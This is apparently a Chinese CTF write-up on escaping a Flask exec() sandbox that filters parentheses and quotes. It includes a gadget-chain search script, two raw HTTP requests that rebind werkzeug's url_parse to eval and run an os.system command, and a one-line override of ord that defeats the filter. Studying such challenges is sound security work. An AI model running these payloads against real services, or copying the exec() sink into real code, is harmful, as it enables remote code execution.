from flask import Flask, request
app = Flask(__name__)
@app.route('/', methods=["POST","GET"])
def security():
secret = request.form["cmd"]
for i in secret:
if not 42 <= ord(i) <= 122: return "error!"
exec(secret)
return "xXXxXXx"
if __name__ == '__main__':
app.run(host="0.0.0.0")
42-122,也就是*
到z
。关键是过滤了小括号和引号。
过滤小括号就蒙了啊,ssit工具一把梭,提示Python命令盲注
,但其实构造出普通的利用链木有用,会报error:
难受的一批啊。
这里分享两种绕过的方法
官方wp,通过构造出werkzeug.urls.url_parse使其等于eval或者system。
因为过滤了小括号不能直接import,需要找继承链。
import flask
import os
from flask import request
from flask import g
from flask import config
app = flask.Flask(__name__)
app.config['FLAG'] = 'secret'
def search(obj, max_depth):
visited_clss = []
visited_objs = []
def visit(obj, path='obj', depth=0):
yield path, obj
if depth == max_depth:
return
elif isinstance(obj, (int, float, bool, str, bytes)):
return
elif isinstance(obj, type):
if obj in visited_clss:
return
visited_clss.append(obj)
# print(obj)
else:
if obj in visited_objs:
return
visited_objs.append(obj)
# attributes
for name in dir(obj):
if name.startswith('__') and name.endswith('__'):
if name not in ('__globals__', '__class__', '__self__',
'__weakref__', '__objclass__', '__module__'):
continue
attr = getattr(obj, name)
yield from visit(attr, '{}.{}'.format(path, name), depth + 1)
# dict values
if hasattr(obj, 'items') and callable(obj.items):
try:
for k, v in obj.items():
yield from visit(v, '{}[{}]'.format(path, repr(k)), depth)
except:
pass
# items
elif isinstance(obj, (set, list, tuple, frozenset)):
for i, v in enumerate(obj):
yield from visit(v, '{}[{}]'.format(path, repr(i)), depth)
yield from visit(obj)
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/' )
def shrine(shrine):
with open("1.txt","w") as txt:
for path, obj in search(request, 15):
txt.write(str(path)+"\n")
if "werkzeug.urls" in str(path):
print(str(path))
return "yes"
# print("----------------------")
# if str(obj) == app.config['FLAG']:
# return path
if __name__ == '__main__':
app.run(debug=True)
可以mark一下深入学习
https://www.cnblogs.com/Cl0ud/p/12316287.html
找到如下继承链:
request.__class__._get_current_object.__globals__['__loader__'].__class__.__weakref__.__objclass__.contents.__globals__['__loader__'].exec_module.__globals__['_bootstrap_external']._bootstrap.sys.modules['werkzeug.urls']
然后是绕过引号,有两种方法,构造出chr打印引号,还有就是通过外部可控参数如request.host等。所以最后构造出来的请求奇奇怪怪的。
POST / HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
cmd=request.__class__._get_current_object.__globals__[request.host].__class__.__weakref__.__objclass__.contents.__globals__[request.host].exec_module.__globals__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval
POST __import__('os').system('whoami') HTTP/1.1
Host: __loader__
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: experimentation_subject_id=IjA3OWUxNDU0LTdiNmItNDhmZS05N2VmLWYyY2UyM2RmZDEyMyI%3D--a3effd8812fc6133bcea4317b16268364ab67abb; lang=zh-CN
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-MD5: _bootstrap_external
Content-Encoding: werkzeug.urls
Content-Type: application/x-www-form-urlencoded
Content-Length: 246
cmd=request.__class__._get_current_object.__globals__[request.host].__class__.__weakref__.__objclass__.contents.__globals__[request.host].exec_module.__globals__[request.content_md5]._bootstrap.sys.modules[request.content_encoding].url_parse=eval
通过第一个poc把ur_parse改成eval,再通过第二个完成rce。
通过更改ord函数使其不管怎样都返回规定的数字。
__builtins__.ord=lambda*args:45
然后直接RCE就行了…
姿势和技术深度同样重要。